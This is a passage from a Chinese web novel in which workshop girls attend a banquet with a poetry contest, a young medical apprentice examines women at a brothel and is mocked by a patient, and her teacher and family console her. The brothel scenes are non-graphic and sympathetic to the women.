秋水寻声望了过去,原是给得宝梳妆的钗娘说话。得宝身上衣服绣样倒于秋水一致,只是月白色宝蓝封边,梳了一个元宝髻。先将发拢结于顶,再置木使发呈元宝状,用以绿色玛瑙穿成的珠链缠上两圈分出元宝的两尖,中间部位戴上一支梦蝶轩藏金花钿。得宝本就长得略显福气,这幅装扮倒更像是一个年画娃娃了。
祁多儿被围了个严实,秋水便望向着忍冬,忍冬身着一身翠绿色鹅黄封边圆领袍,绣样也是同秋水得宝一样,梳了一个同心髻。发髻右侧簪上了两支扇形镶珍珠发钗,由挂上一条五坠条长珠链直到左侧,左侧戴上一朵淡紫色绒花钗。
“来,秋水快过来。”原先给得宝梳妆的妆娘弄完了,金娘子便喊到秋水过去梳妆。说完又望向姚教习继续说道:“你看你也不先和我通个气,让今天我这手忙脚乱的。”
姚教习笑了一笑说道:“早先与你说了,不是怕你早些准备了,让孩子心中慌张嘛。这没和你说,不也是井井有条。凭金姐姐的能力,怕是火烧眉毛,也能歇上一会。”
金娘子轻推了一下姚教习的额头说道:“你倒是嘴甜,倒是苦了我今日着急忙慌的。”
姚教习看了一眼祁多儿,又望向金娘子说道:“姐姐,你快看多儿这活脱脱一个小状元郎啊。”
金娘子回头看向祁多儿,只见她身穿蓝罗袍,腰系一条乌角革带。头戴一顶簪花元宝冠,两侧各簪上一支珍珠红玛瑙长流苏步摇,好似一顶金制带花进士纱帽。
祁多儿本来心中喜悦,见金娘子那慈爱又温柔得眼神望着她,突然之间又升起来几分酸楚。眼泪不自觉的连成一串一粒粒落了下来。
金娘子急忙蹲下,拿出手绢给祁多儿擦着眼泪:“乖乖,怎忽然地哭了起来,是哪里不太符合心意吗?我们再改改。”
姚教习看着也是心中一酸说道:“不必如此难过,得一孺人的称号也是不错了。”
金娘子附和道:“是啊,有得俸银。无封官也无事,正八品京官也不过是你儿子。”
祁多儿听金娘子这番话哭着哭着倒是一笑。
姚教习见祁多儿被逗得发笑,便也一改往日知书答理的做派应和道:“金姐姐此话虽是糙了一些,但也并非没有道理。”
祁多儿本想回应些什么,让她们不用担心,可一时喉咙竟然吐不出一个字。便只是点了点头。休息了片刻,平复了会心情,秋水等人的衣服装饰也都好了,便与几位教习带着祁多儿,秋水,贺得宝,木忍冬去往天香楼了。
金娘子等人到了天香楼,楚云照与楚知求两人在迎着宾客。
楚云照向金娘子行了个礼说道:“所邀请之人应约了个八成,与舅妈你所预计能来之人基本相符。但还有些慕名而来的学子学者,我将其多开了几座安排在厅尾。”
金娘子点点头说道:“你安排的很是不错。”
“老朽不请自来,不知金娘子可否给安排个座啊?”
金娘子随声望去,之间一八十岁左右的男子站于身后,虽白发苍苍但精神矍铄。
楚云照立刻恭敬的向那位老人行礼道:“老师,你怎么来了?”
那人哼得一身说道:“你不来请,也不准我自己来吗?”
金娘子使眼色让楚云照和姚教习搀着那人,那人摆手挥手开两人。从怀中拿出一个木雕长方盒,看了一眼金娘子后边几位小姑娘说道:“我倒不知金娘子收下有如此多聪慧弟子,今日只为祁多儿一人备了礼物,倒是失礼了。下次一定补上。”
金娘子对祁多儿说道:“多儿快接过礼物,谢过姚学士。”
祁多儿接过礼物,向那位老人行了万福礼说道:“谢过姚学士。”
金娘子诚恳得看着姚学士说:“姚老,既然来了,那边坐主桌主位吧。你即是闻华的爹,又是云照的老师,理当主位。”
姚学士摆了摆手说道:“既然是闻华教出来的,那便闻华主位置吧,我在一旁副位即可。待到云照高中,再请金娘子邀我做主位。”
金娘子笑了笑说道:“那便听姚老的,云照,带你老师进去。”
楚云照带着姚学士,与金娘子一人进了内厅主桌。姚教习坐在主位,姚学士坐于姚教习左侧。姚教习右侧依次是金娘子、祁多儿、秋水、贺得宝、木忍冬,姚学士左侧依次为楚之求、楚云照、多儿爹、多儿娘。
右侧请得一些官员认识姚学士,急忙站起身迎接姚学士。又不知怎得厅尾谁又喊了一句“是姚言礼姚学士。”引得一群书生高呼“见过姚学士。”姚学士听着吼了一句:“都坐下吧,这倒显得我喧宾夺主了。”
金娘子说道:“能得姚学士赏光,属实祁多儿之幸。若以后多儿有甚需要求教的,还望学士不吝赐教。”
姚学士说道:“若有我能教授的,可尽情来问。”
姚教习不耐烦得说道:“爹,你到底因何而来?”
姚学士笑笑道:“我听说你们绣坊有位童子科一等,便想来看个热闹而已。”
多儿爹看他们说话插不上一句,心中觉得有些悲凉,原是自己最看不上的孩子,倒是成就了自己的一番心愿。想要敬酒给桌上的人,又见总有他桌的人向他们敬酒,却又没了胆量敬酒,只好自己喝些闷头酒。
多儿娘到是心中多年阴郁消散了大半,原先总想自己保护不了多儿。现在多儿自己有俸禄又有绣坊月给,至少是衣食无忧了。金娘子又待她如此之好,又有这一些好友。到也无所遗憾了。
吃饭间,一位夫人牵着自己的一双儿女前来向多儿说:“听说你是童子科一等,我来讨些福气,不知姑娘可否赐福?”。多儿不解的看向金娘子。
金娘子说道:“你用手摸摸小孩子的头就好,沾沾你的聪明才智。”
多儿觉得有些趣味,便笑着摸了摸小孩的头。
那位夫人便对自己的儿女说:“快谢谢姐姐赐福。”
“谢谢姐姐赐福。”
见那位夫人走了,姚学士问多儿:“玩过飞花令没?”
多儿思考了片刻说道:“只与姚教习两人试过。”
姚学士捋了捋胡子便又问到:“想不想玩把大的?”
多儿疑惑问道:“多大?”
姚学士笑了笑说道:“你以一敌那三桌,你觉得可有胜率?”
多儿看一下,大概二十八人。便点了点头说道:“应是没有问题。”
姚学士惊叹道:“果真有些勇气,我去与那些人商量一番,让你来试试手。”
姚学士向那边问了一问,那些学生既想就见识见识这童子科一等的实力,又想在姚学士面前大展身手一番,以博得一个好前途,便纷纷都应了下来。
姚学士说道:“今日飞花令就不作诗了,背诗,前人说诗句,后人要说出前人诗句的作者与诗名或词名。各位可否同意?”
众学生答道:“全听姚学士安
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排。”
姚学士捋了捋胡子说道:“既然无异义那便开始吧,你们先将位置排好。一位位来。既然是飞花令,那第一题便以花先开始吧。祁孺人先请。”
祁多儿:“春江花朝秋月夜,往往取酒还独倾。”
学子一对到:“白居易《琵琶行??》,杨花落尽子规啼,闻道龙标过五溪。”
祁多儿:“李白《闻王昌龄左迁龙标遥有此寄??》,西塞山前白鹭飞,桃花流水鳜鱼肥。”
学子二继续对道:“张志和《渔歌子·西塞山前白鹭飞??》,雨前初见花间蕊,雨后全无叶底花。”
祁多儿:“王驾《雨晴??》,若待上林花似锦,出门俱是看花人。”
如此百十来回合,才将学子们淘汰一人。姚学士便说道:“各位皆是有才之人,如此题目太过于简单了。不如各位即兴写诗,各位写了,署名后交于楚云照,云照你在将其糊名,而后各位投票选出三甲。可不限次数投票,只要你喜欢即可,最后选出票数最多三人。今日我们相聚在这天香楼,便以天香为题吧。这几位小友,若有兴趣也可一试。”
唱过票后,虽说是立出三甲,但第三四名同票,楚云照请示过姚学士后,便开始揭晓了:“今日本只选三甲,但因第三名与第四名同票,便选了四位了。在下现在便来揭晓。”
楚云照将选出的第三两首揭开名字后笑了一笑说道:“三甲其一,祁儒人所作。天香楼外东湖满,金鳞光甲似龙盘。乞得八仙一竹杆,笑向酒家借蓑衣。三甲其二,张敬行所作。天香国色无需怜,艳冠群芳何及此。虽惭形秽难追步,亦怀壮志行前路。”
楚云照继续说道:“不知张敬行是何人?可否出来一见。”
一学子走于台前,向众人行了个礼说道:“正是不才。”
台人有一人说道:“这不是刚唯一淘汰那人吗?”
那学子到也不恼,只是淡淡说道:“那也确实是在下。现于祁儒人得同一名次实属侥幸了。”
楚云照看了那学子说道:“仁兄莫要妄自菲薄,既能被众人首肯,那便是仁兄确有几分本事了。”
那学子望向楚云照说道:“多谢贤弟夸赞。”
楚云照将那学子又请了下去后,继续开着第二名的诗。望向秋水说道:“二甲许秋水所作,天香四溢漫天涯,意伴流云逸兴佳。笑谈尘世千般景,漫步人生万里花。”
秋水呆楞了片刻,心中想本想娱乐一番,居然也被选中了。一时不知如何是好。
楚云照见秋水呆滞便说道:“秋水师妹,起身与在坐各位打个照面吧。”
秋水便起身,向学子方向行礼后坐了下来。一旁学子脸上倒是有几分难看,人群中有一人说道:“这第一要又是一位女童,怕是在坐各位脸都要丢尽了。”
楚云照揭开一甲的名字说道:“一甲周柏钧,丹桂飘香韵天香,文墨欲展祈贤良。愿君垂青赐机缘,得以驰骋报国疆。这位可否上前?”
一灰衫男子走于人前说道:“在下周柏钧。让各位见笑了。”
那男子虽穿着略显寒酸,但身姿挺拔,样貌不凡,气度不俗。正如他的名字,如冬日一棵落尽了叶子但挺拔的松柏。
姚学士看了看那男子后,起身走到那人身旁,又招手将之前那位三甲其一张敬行唤于面前说道:“今日见各位都学识渊博,尤其绣坊果真是藏龙卧虎。各位学子也是气度非凡。今日突然来此,未准备各位的奖品。不过我欲收两位为门生,不知两位可愿意。如果不愿也可,明日得空来我家取个心仪之物当做礼品也可。”
那三甲其一即刻答道:“老师在上,受学生一拜。”
一甲沉思片刻说道:“弟子愚钝,还望老师以后不吝赐教。从师之后,不忘初心。他日有成,永铭师恩。”
姚学士将两人扶起身说道:“今日本想来凑个热闹罢了,没想到还捡了两位好学生。改日有空,必定登门向金娘子道谢。”
金娘子向姚学士回礼道:“姚老能大驾光临,是我们这种小辈的福气。”
24. 逍遥馆初行医心慌张
秋水第二日吃过早饭后,便随着松师兄和马师弟到了逍遥馆。
约莫是一位二十五六的姑娘,一双桃花眼,笑起来还有两个酒窝。说话的声音应是在这酒窝中酿造了许久的,吐出的每个音都醉人心脾。她右手食指轻抚着额间的碎发,扭着腰对李松问道:“这楚神医收徒莫不是摸样也在考核之中吧,这两位新收的徒弟摸样比起你来更是俊俏了。”
李松恭敬的向那位姑娘行了一个礼说道:“多谢泉玲姐姐夸赞,泉玲姐姐近来可好。”
泉玲抚了抚脖子说道:“就是想你想的心慌,你也是除了需要来这里办事,其他时候也不来找找我。”
李松不禁笑了一下说道:“泉玲姐姐他们两都是第一次来此,你再把他们吓着了。”
泉玲听了此话,便站直了身体,轻声说道:“轻而易举被女人吓到的男人可不是好男人哦。”
“泉玲姐姐说得有理。”说完李松又看了看秋水和马凌云,秋水倒是一脸淡定懵懂,马凌云就惨了,整张脸通红。本来马凌云就生得有些黑,所以济安堂都喊他俏张飞,若是被药堂师兄弟看见他这幅摸样,怕是又可添个俏关羽的称号。
泉玲瞧了瞧秋水后说道:“我还以为是个俏郎君呢,原来是个小丫头。”
秋水楞了一会又看向李松,李松点点头安慰秋水道:“扮相是糊外人的,泉玲姐姐是自己人,泉玲姐姐见多识广自然是骗不过的。”
泉玲莞尔一笑,想要捏一下马凌云的脸,马凌云下意思往后一闪。她便收回手又抚了抚额间的头发说道:“还是你嘴甜,不想你这位小师弟胆小的很。莫不是怕我吃了他?真叫奴家委屈呢。”
李松向一边指了一个请的手势说道:“泉玲姐姐莫要逗他了,他确实呆愣。我们先去里屋吧。”
泉玲又笑了两声道:“见了你这几位俊朗师弟,到让我把正事忘了,快些请吧,东西都准备好了。”
李松又向泉玲形了个礼说道:“那我就替我这两位师弟向泉玲姐姐陪不是了。”
泉玲笑了一笑说道:“你这两位师弟倒是与你个性大不相同。”
李松答道:“人的性格总是不太相同的。”
秋水和马凌云互相对视的一眼又撇了撇嘴,继续跟着李松往里面走着。走到了一个房间门口,泉玲推门请李松他们进去。
这件房间应该是靠街面的一间,应是为了透光,将窗子卸了下来,蒙上了白布。房中间有一张两侧略高,中间平整的木榻,上面铺着一床浅黄色的丝绸布料。
泉玲先请了一位穿着绣花大袍的十五六岁的女子进来,她未施粉黛,只用一根红绳将头发中部系了起来以防散乱,一些碎发自然的散在脸旁。她先是慵懒无神的看了眼秋水等人,又好像发现了什么似的仔细看了看秋水,眼中先是露出一点震惊,又是惊喜,而后又是悲伤,最后这些情绪都收回了眼底,只是用她那慵懒的声音说道:“妈妈可要快些,今夜有贵客前来,我要早些回去梳妆了。”
泉玲笑了笑说道:“可不是为了方便你早些梳妆嘛,最先就让你来了,快些让李医师看了回去把。”
李松先是给那女子诊了脉,说道:“正常,脉象平稳,无特殊情况。进行接下来的检查。”
而后那女子随着泉玲的指挥做着动作,李松念着诊断,马凌云在一旁记录着,秋水在描着人体简笔。
“脱衣,转上一圈。”
“正常,无外伤,无特殊瘢痕。”
“躺下,张腿。”
“正常。”
“结束了,穿衣出去吧。”
那女子便穿上了衣服,走了出去,出门又回头望了一眼秋水。秋水此时已是呆滞状态并未发觉。泉玲撇了一眼那女子说道:“你要梳妆就快些回去,在走一步望一眼的是今日还想多陪一位莫?”
那女子并未答话,秋水听得这身呵斥回头看去,那人已走了。而后进来了十七位与此女子同龄的女孩。李松等人给她们做完检查后,泉玲唤人将榻上铺的黄色丝绸换成了翠绿色棉布。
后来的女子进来,泉玲仿佛是累了,又好似这些女子已经是有过多次经验了,无需泉玲说话,便自己知道该是如何了。
检查了几位后,有一女子脉象好像有些奇怪,李松多把了一些时刻。李松慢慢的皱起了眉头,那女子确实越发害怕,只见她混身抖了起来。
李松叹了一口气说道“先继续后面的检查吧。”
检查完毕,那女子确是颤颤巍巍的不敢动弹,秋水怕她着凉,捡了她的衣服披在她身上。泉玲冷笑一声后恨厉的看着那女子,又问道李松:“李医师可检查出什么了?”
李松笑道:“在外可说是有喜了,姐姐这里,这么多年我还是未想到是称呼些什么。”
泉玲收了狠厉的眼神,温柔又妩媚看向李松说道:“不必为此单想出话来,外面是什么,我这就是什么。”
说完,又笑着看向那人,那人顾不得衣服还未穿戴整齐就跪在泉玲面前说道:“妈妈,求你。”
泉玲将她拉了起来,又将她衣服系好继续说道:“这里的规矩你都知道,不要在李医师面前丢了我的脸。先回房去吧,好好思考再与我说。”泉玲说完将她轻推了出去,又唤了门口的婢女将她送回房间。
后又检查了十来位,身上都或多或少有些红肿淤青,李松开了些活血化瘀的药方让她们涂涂就好。泉玲又唤人将木榻上垫的布换成麻布。打了个哈欠说道:“接下来的都是些老人了,她们轻车熟路的,有些个别不懂事的,你们引导一下便好了,我就先回去休息一下了。晚上我也还要忙着呢。”
“那泉玲姐姐快先去休息吧,这边就交给我了。”李松向泉玲行了个礼说道。泉玲向李松抛了个媚眼后,扭着腰走了。
而后进来的都是些二十以上的女子,脸上都上了妆容,头饰也都穿戴整齐了。大概是天色晚了,要预备接客了。查了有二十好几人,有三人要被带回松安馆,一人是身上伤情严重,有烫伤还有利器所伤,脸上还有重击所导致的淤伤。还两人是染上了不干净的病症,一人比较轻微,只是有些瘢痕。另外一人则就没那么幸运了身上都起了一些红色的肿泡。检查到这两位,李松他们熏了一番屋子,又用酒洗了洗手。
检查完毕之后,门外的侍女通知了泉玲。
“这番可是要辛苦李医师了。”泉玲撒着娇对李松说道。
李松笑了笑说道:“泉玲姐姐不必客气,等我们这边的账单送到,赏些银子便好。”
泉玲嗔怪得说道:“总是和我谈钱,太过生分了。之前我不是都提过了,这些人可以白送给济安堂,济安堂自行救治就好。为什么非要治好了送回来呢。”
李松只是继续笑着说道:“我们是行医救人,若不是为了行医,那便算不得救人。是凭医抢人了。”
泉玲哼了一声说道:“你到是有原则,那你们带走吧,我们逍遥馆要开门了。”
李松向泉玲行了个礼说道:“那我们便告辞了。”
李松带着秋水和马凌云还有那三人上了原先马车,马凌云心中膈应,便说自己去协助车夫驾马。李松点点头许了他的话。
那轻微些的女子看向秋水问道:“李医师是常来不惧了,你怎么不像那位师兄弟一样躲出去?”
秋水抬头看向她说道:“我为何要躲?”
那女子说道:“你不害怕?”
秋水摇了摇头。
那女子又问道:“你没有看不起我们?”
秋水摇了摇头说道:“我知天下没有给多少女子可走的路,所以我没有看不起你们。”
那女子冷笑一声,又猛得往秋水身边一靠,秋水下意识的向后一躲。
她冷笑又改为哈哈大笑说道:“我倒以为学医的女子是有所不同呢,原
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来只是个嘴甜的主。不如你那躲在马车外的师弟敞亮,也不如你这位松师兄高洁啊。”
秋水被说的哑口无言,本想辩解一番,又见嘲讽她的女子虽是笑得猖狂,可眼中却又含着泪,一时确实是一句话也说不出了。
李松见此看向严重的那位说道:“我三月前来此,你不还是未染病的吗?”
严重的那人说道:“这三月多有商人来于此,我又年长她们一些,那些染病了得客人便都送于我了。她见我劳累,便替我分担了一些。”
轻微些的笑笑说道:“什么帮你,不过是它们给的钱多,我又想早死。一举两得罢了。”
李松又问那受伤严重的:“你年纪不过十六,为何受伤如此严重。”
那人不敢说话,只是低头眼中流着泪。轻微伤的那人说道:“她呀,与最红的那位姑娘起了些争执,又被卖的是死契,就被派了去给那变态了。还是运气好赶上你来这一遭,可以休息一场,若是在晚些天,便也是苦熬三个月了。”
秋水望着那人,心中觉得甚是酸楚。那轻微些病症又嘲讽秋水道:“你莫要充菩萨。你待会回去了见家里人多不待见你就知道了。”
那病症重的急忙拦着轻微些病症的说道:“你心中不平,也不要为难她。小姑娘你不要听她胡说,她就是刀子嘴豆腐心。”听这一番话,那病症轻些的冷笑一声闭了嘴。而后大家都未再说话。
李松先将秋水先送到了绣坊,孙管家早早备了些艾叶花椒水给秋水洗澡,又将今日穿的衣服拿去烧了。待秋水洗完澡后又予秋水说:“你先睡于耳房一段时间吧。”秋水点点头,并未说话。
第二日,安师兄照常来接秋水。见秋水有些闷闷不乐,又离他很远。他靠近一些,她又原理一些。他想莫不是年纪大了,在避讳了。又想不应当一日就成长了吧,突然想到昨日秋水去逍遥馆了,便等到走至一条巷子,见无人。安师兄便拿出一个一个香囊说道:“秋水,你拿着闻闻里面有什么药材。”
秋水疑惑的接过香囊闻了一闻,正要说,安师兄又说:“可以了,还我吧。”秋水又疑惑的递给他。安师兄说道:“如此了,你还要再避着我吗?昨日是受什么委屈了吗?”
秋水听安师兄的安慰,一下心中酸楚,泪水不停地流了出来说道:“怎么都是错的,靠近是错,离开也是错。”
安师兄说道:“人总有偏见,对他人也是,对自己也是。你莫要因为那些话动了自己的本心。难道她们讽刺你,你就退缩了吗?那岂不是真如她们所说了?”
秋水说道:“那我该如何。”
安师兄说道:“不管他们如何,你自坚定你自己,不要理会。”
秋水点点头,抹了抹眼泪,继续和安师兄往济安堂前去。
金娘子与楚之求也要出门,金娘子问楚之求:“你既然觉得有所风险,为何还要秋水前去。”
楚知求叹口气说道:“我并非觉得有所风险,李松在身旁呢。不会有问题的,只是她到时候该受些委屈和挫折了。”
金娘子向楚之求翻了一个白眼说道:“学刺绣就没你这么多事了。”
楚知求送过金娘子,去往了济安堂,李松也在门口等着秋水。李松见楚之求来了便说:“秋水昨日受了些委屈,回去不知如何了,今日还会不会来。”
楚知求说道:“你学医没受委屈吗?若她今日来不了,便不用来了。”
李松不敢言,心中肺腑道:“不来了,看谁心疼。平时也没见你来这么早。若是不来,看你悔不悔揠苗助长。”
等了一刻钟,秋水笑嘻嘻的拿着一串糖葫芦向他们走来,楚知求和李松心中都是松了一口气。秋水走至他们两面前说道:“师父早,松师兄走。”
楚之求点点头,又敲了敲秋水的头说道:“早上吃糖伤身体。”
秋水吃痛,怒了怒嘴说道:“徒儿知错。”
25. 小鸡岂可教鹰捕食
楚知求见秋水状态还算良好便让其先去后院把糖葫芦吃完了再出来抄写药方。秋水点点头哒哒的就跑向了后院。
楚知求拦下正要进去的安百生问道:“今日来的路上,她可有什么异常?”
安百生向师父行了一个礼说道:“她在路上哭了一遭了,倒未说些不学医了得气话,只是受了些委屈无从发泄吧。”
说罢又望向李松,楚知求见安百生望向李松,自己也望向李松。李松看他两都望着自己,皱眉的看了看安百生,又略显无奈的看向楚知求说道:“昨日她被一位病患讽刺了几句,送她回去之时见她神情确实有几分难受。”
楚知求置于背后的手,食指和拇指搓了数圈沉思了半晌说道:“这番讥讽都忍受不了,如何行得长久。”
李松又继续说道:“我想着昨日她回去与她那些小姐妹聊会子天,也就舒缓了,怎今天早上来还哭了?还是年纪小了心性比较高,姐妹的安慰还不太作数。”
楚知求听了着话又楞了片刻,心想昨日觉得可能秋水会有些忧虑,便让孙管家另外安排了房间,又给她仔细洗漱了一番。莫不是这让她更发难受了?于是说道:“我想可能她会有些忧虑,昨日我便让绣坊的孙管家给她另外安排了房间。”
安百生点点头说道:“师父此举到无不妥。”
李松道心想,小姑娘觉得自己被嫌弃了呗,师父善于察人心吗,怎得这些事不明白。思考一番后对楚知求说道:“师父,今日让小师妹于她的小姐妹一起吧,说些话也能缓解情绪。”
楚知求皱了皱眉头说道:“绣坊姐妹太多,她一起的姐妹也不只是和秋水一起了。都去绣坊主楼刺绣了。她若有些闲话,其他几位也要一起担着,这恐怕不是太好。”
李松思考一番说道:“待到下次去逍遥馆之前直接换个居所,这到时间隔离开,才更讨闲话。而且她也要开始行医了,一些外伤或是逍遥馆这种病情的倒也无所谓,若是今后有些伤寒感染的,确实不好在绣坊继续住下去。”
楚知求摸了摸胡子说道:“你说得也有几番道理,但济安堂和松安馆她住着也不太方便,我先想想有何去处可以安排。”
李松说道:“她哥哥不是应该在城中置办宅院了吗?”
楚知求撇了一眼李松说道:“他哥请我喝酒,我去过了,就租的一间偏院带个小屋。倒也还算雅致,只不过也无她的容身之处。”
李松心想还能去哪,不就你楚宅腾个地方。他故作思考状又有些失落的说道:“这就只能劳烦师父多想想了。”
楚知求捋了捋胡子说道:“她那糖葫芦也差不多快吃完了吧,去后院问问她如何想的,你两也一起来。”
楚知求走至院口,听秋水和马凌云在说话,便让李松两人停住等待。
“明哲保身不是你中原的话吗?你为何不认同?”
“你听过取其精华,去其糟粕吗?”
“听过,如何?”
“你所学所认同的都是些中原的糟粕。”
“那你了解都是些精华吗?怎昨日还在马车里被人嘲讽,却又说不出一句话?”
“这你与你无关,我知道松师兄也有最开始难堪的那天,今日他的样子,便是我以后得样子。”
楚知求心想小鸡岂可教鹰捕食,便从一旁走出,哈哈大笑了几声说道:“你松师兄第一日去逍遥馆时,比你昨日可难堪大发了。他可是结结实实挨了顿打。”
松师兄无奈得点点头。生怕他若是爱面子否认一番,师父就真要把事情全说出来。
楚知求又说道:“既然凌云不愿意去逍遥馆,要明哲保身的话,那以后便不学这些了吧,专心与安师兄学些接骨扎针就好。”
马凌云向楚知求行礼道:“师父,我并非那个意思。我还愿今后去逍遥馆。”
楚知求摇摇头说道:“你我虽有师徒名义,但毕竟是你是济安堂恩人之子。不应当从事这些危险的活,之前是我大意了,今后便让安师兄好生将跌打损伤,续骨生肉的绝学教你也不算负了你爹的一番情谊。”
马凌云还想要说些什么,楚知求不给机会向安百生说道:“百生,你先将凌云带去前厅与你一起诊病吧。”
安百生向师父与马凌云行了一个礼说道:“是,师父,师弟与我先去前厅吧。”
见马凌云不走,便又在马凌云耳边轻声说道:“快些先走,师父现在已经是发火了。等他消气我们再来。”
听见安百生如此说,马凌云便随着安百生走了出去。
楚知求慈爱的看着秋水问道:“听说你昨日受了些委屈?”
秋水点了点头后又摇了摇头说道:“是有些委屈,但今日已无事了。”
楚知求拉过一旁的椅子坐下,又给秋水递了把椅子,给了个眼神让李松自己找个位置坐下后说道:“怎会无事呢,以后你日日夜夜想到都会被折磨一番的。”
秋水懵懂的看向楚知求说道:“为何?过了些日子不就忘了。”
楚知求笑笑道:“难过的事情,开心的时候你就忘却了。但你又难过时便又会想起来了。”
秋水低下了头问道:“那如何呢?能一直不难过吗?”
楚知求看了看秋水继续说道:“不能,但是可以让自己今后想起来的时候不会更加难过。”
秋水头更低了几分,有些略带哭腔得说道:“可我不知道怎么办,师父你信我,我真的没事,我也愿意以后去逍遥馆诊病,可以吗?”
楚知求摸了摸秋水的头说道:“我当然信。”又递给秋水一锭五十两的银子,秋水接过一看,惊讶的抬起了头。楚知求看着秋水脸上得泪痕心中也是一酸,心想这孩子倒是情绪外显的很。楚知求继续笑着说道:“下次你想起昨日之事,便能想到,我给你的这锭五十两的银子了,开心吗?先将这五十两收好。”
秋水重力的点了点头,楚知求又给了李松一个荷包,李松掂量了一番应有一百两有余。楚知求与秋水说道:“今日放你天假,你等会与松师兄去集市买些想买的东西,五十两以内,不是用你这五十两,是松师兄那里的五十两。”
楚知求又看向李松说道:“你今日带她去逛上一日,然后租辆马车送她回去。除了给他买东西的钱,在除去租车的钱就是你的赏金。”
李松震惊半天,缓过来向师父行行了个叉手礼,说道:“谢师父,秋水我们走。”
秋水听了李松的呼唤,将那五十两收入怀中后,急忙得跟着李松出了济安堂。楚知求见他们走了叹了一口气说道:“我还有些话想说呢,看来还是缕儿说的好,金钱最治心疾。”
秋水给济安堂的师兄弟们买了好几盒吃食,又每人包了一百文的利是。崔师兄第二日还问秋水:“是不是这么早要成婚了。”秋水摇了摇头说道:“我在赌坊猜数赢了个大的。”崔师兄见她不想细说便没有多问。
又给娘亲买了好些想买但又没买的布匹和一个金手镯,给爹爹买了一把精细些的篆刻刀具。想到大哥住得地方有些空旷,又订
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了一张木书桌让送去大哥的住所。又给二哥买了一支好笔。
给师父师娘也都各备上了礼物,又给安师兄与李松师兄额外买了些物品。本想给马凌云也备上一份的,但想到他的话,又有一些生气,就不准备了。
给祁多儿,贺得宝,木忍冬一人包了一两银子的利是,而后又给几人买了天香楼最有名气得一些糕点。
买完这些东西后,李松将秋水送了回家,秋水将要给家中的礼物拿了出来。又让李松将给祁多儿她们的礼物先好好收着,给济安堂各位师兄弟的礼物让李松回程的时候顺路先送了。
李松帮忙搬了东西后,与秋水父母打了个招呼便走了,秋水爹娘本想留李松吃饭,被李松借口济安堂有事便走了。
秋水娘心疼的转着圈看着秋水,楚知求来与他们商量秋水去逍遥馆时,她本是不愿意的。可楚知求与她说,天下也就逍遥馆中的女子可给秋水练习医术了,便也妥协了。想今日秋水回来定是受了一番委屈。
秋水娘试探的问秋水:“今日还不到休沐日,怎突然回来了?”
秋水高兴的答道:“师父说我昨日受了些委屈,给了我五十两,说让我想起昨日也会是开心的。”她一边说一边掏出五十两给秋水娘继续说道:“五十两还有那些东西都是。”
秋水娘本收着情绪,见那五十两眼眶瞬间红了,摸着秋水的脸问道:“你昨日受了什么委屈?”
秋便将昨日先被逍遥馆的妈妈调戏后,后面又如何被一个病患讽刺说于秋水娘听。
秋水娘听了抹了抹泪,抱住秋水道:“我知道你不容易,但你也别记恨人家,她们的生活也是极为凄惨的。”
秋水点点说道:“娘,我知道的。”
秋水娘摸了摸秋水的头说道:“你先吃些糕点垫垫肚子,娘去给你做些好吃的。”
秋水点点头说道:“谢谢娘。”
秋水这边在快乐得等着吃饭,李松让车夫快马加鞭赶回了济安堂,给师兄弟们分发了东西后。又将秋水给师父师娘带的东西给了楚知求。
楚知求看着那对木刻的可合起来的腰饰,拿起来打量了一番,笑了一笑说道:“有些敷衍。当我与你们师娘还是年轻人嘛?”
李松回道:“原先秋水师妹是看中一对玉佩的,可惜,财力浅薄,便选了这木玉佩。”
楚知求笑道:“罢了,也难为她一番心意了。你将百生找来,我有些话与你们说。”
李松将安百生带至楚知求面前,楚知求面色严峻得说道:“今后你们注意一些,尽量避免马凌云与秋水接触。还有百生,你早些教他将蓄骨生肉精进了,我这边就修书将他送回。”
安百生不解:“为何?师父不是注重基础要先学得牢固吗?”
楚知求捋了捋胡子说道:“今日马凌云与秋水在后院中的话,你们也听见了。他心思不够正派,容易将秋水带歪。”
安百生为马凌云辩驳道:“可马师弟,毕竟年纪还小。若我们只因此等小事就将它定性,是否不太公平。”
楚知求说道:“他虽年纪还小,可却不知哪儿找的师父教得却十分老道。今日,为自己的胆小找这许多借口。实在是丢人。”
安百生继续恭敬但反驳道:“马师弟虽世俗了些,但也并无过错。他毕竟富贵子弟,只是缺少磨炼。”
楚知求点点头说道:“那就全权由你看管了,我虽想让他早些走,但你也要先将他教好。”
“百生明白,定不负师父所托。”
26. 祁多儿首回家
又到了休沐日,秋水被大哥由济安堂就接了回去,得宝娘还是一如既往的早早在门口等着。祁多儿的爹娘今日也来接她了,可多儿不愿意回去,只是在房间自顾自的看着书。
木忍冬见祁多儿如此,又见她父母确实诚恳便劝道:“多多,回去吧,你爹娘和大哥小弟都来了。”
多儿将书翻了一页,继续看着书道:“他们来与我何干?若你想回去,你去替我吃了那团圆饭吧。”
木忍冬叹一口气,继续对祁多儿说道:“我的好妹妹,这么多年的休沐日每年绣坊就剩我两。我还不知道你怎么想的吗?给他们一个台阶下吧。”
祁多儿将身子扭了过去说道:“你既当我是姐妹,又是这么久的情谊,你就不应该再劝我了。”
木忍冬又转向祁多儿那边说道:“你听我一句,你家到底是和我我家不同。你爹爹没有害你的心思,他只是想求个功名利禄,你如今已经是了。回去吧,解开自己的心结。”
祁多儿将书合了,撇过头去了不说话。
木忍冬说道:“我知道你还是想回去的,我去再将你爹娘试上一试,再给个台阶你就回去好吗?”
祁多儿问道:“你如何一试?”
木忍冬说道:“天香楼的云片糕,想吃嘛?”
祁多儿冷声道:“他若不想去呢?”
“他若不想去,那你就不回去了,和我一起在绣坊终老一生。你当祁管家,我当木管家。”
祁多儿听得一笑说道:“你去试试吧。”
木忍冬哎了一声,便去向了门口,走至祁多儿的爹面前轻身形了一个礼说道:“各位可是祁多儿的家人?”
其中一位中年女子答道:“我们都是,我是多儿的娘,这位是她的爹爹。这两位是她的哥哥和弟弟。姑娘可是为多儿带话的,她说了些什么?”
木忍冬向那位中年女子行了一个礼道:“多儿让我来与你们说她想念爹娘已久,但自觉惭愧也不敢回家,怕爹不原谅她这个不孝女。”
多儿爹说道:“劳烦姑娘传达一下,父子之间怎么会有隔夜仇。如今她已离家两三年了,爹娘都甚是想念,今日特意前来接她回去。”
木忍冬沉思了一会说道:“我刚也劝她说,父子之间怎么会有隔夜仇。她眼泪汪汪的说,家中父亲严厉是我不知晓的。我又说,严父慈母这是古话了,当爹的不严厉一些,又怎得能管住家。”
多儿爹捋了捋胡子,笑着说道:“你到是个明白人姑娘,她又如何说?”
木忍冬叹了一口气说道:“她呀,耍着些女孩家的脾气。她说,她想吃天香楼的云片糕,若是爹爹可为她买来,便就是原谅她了。”
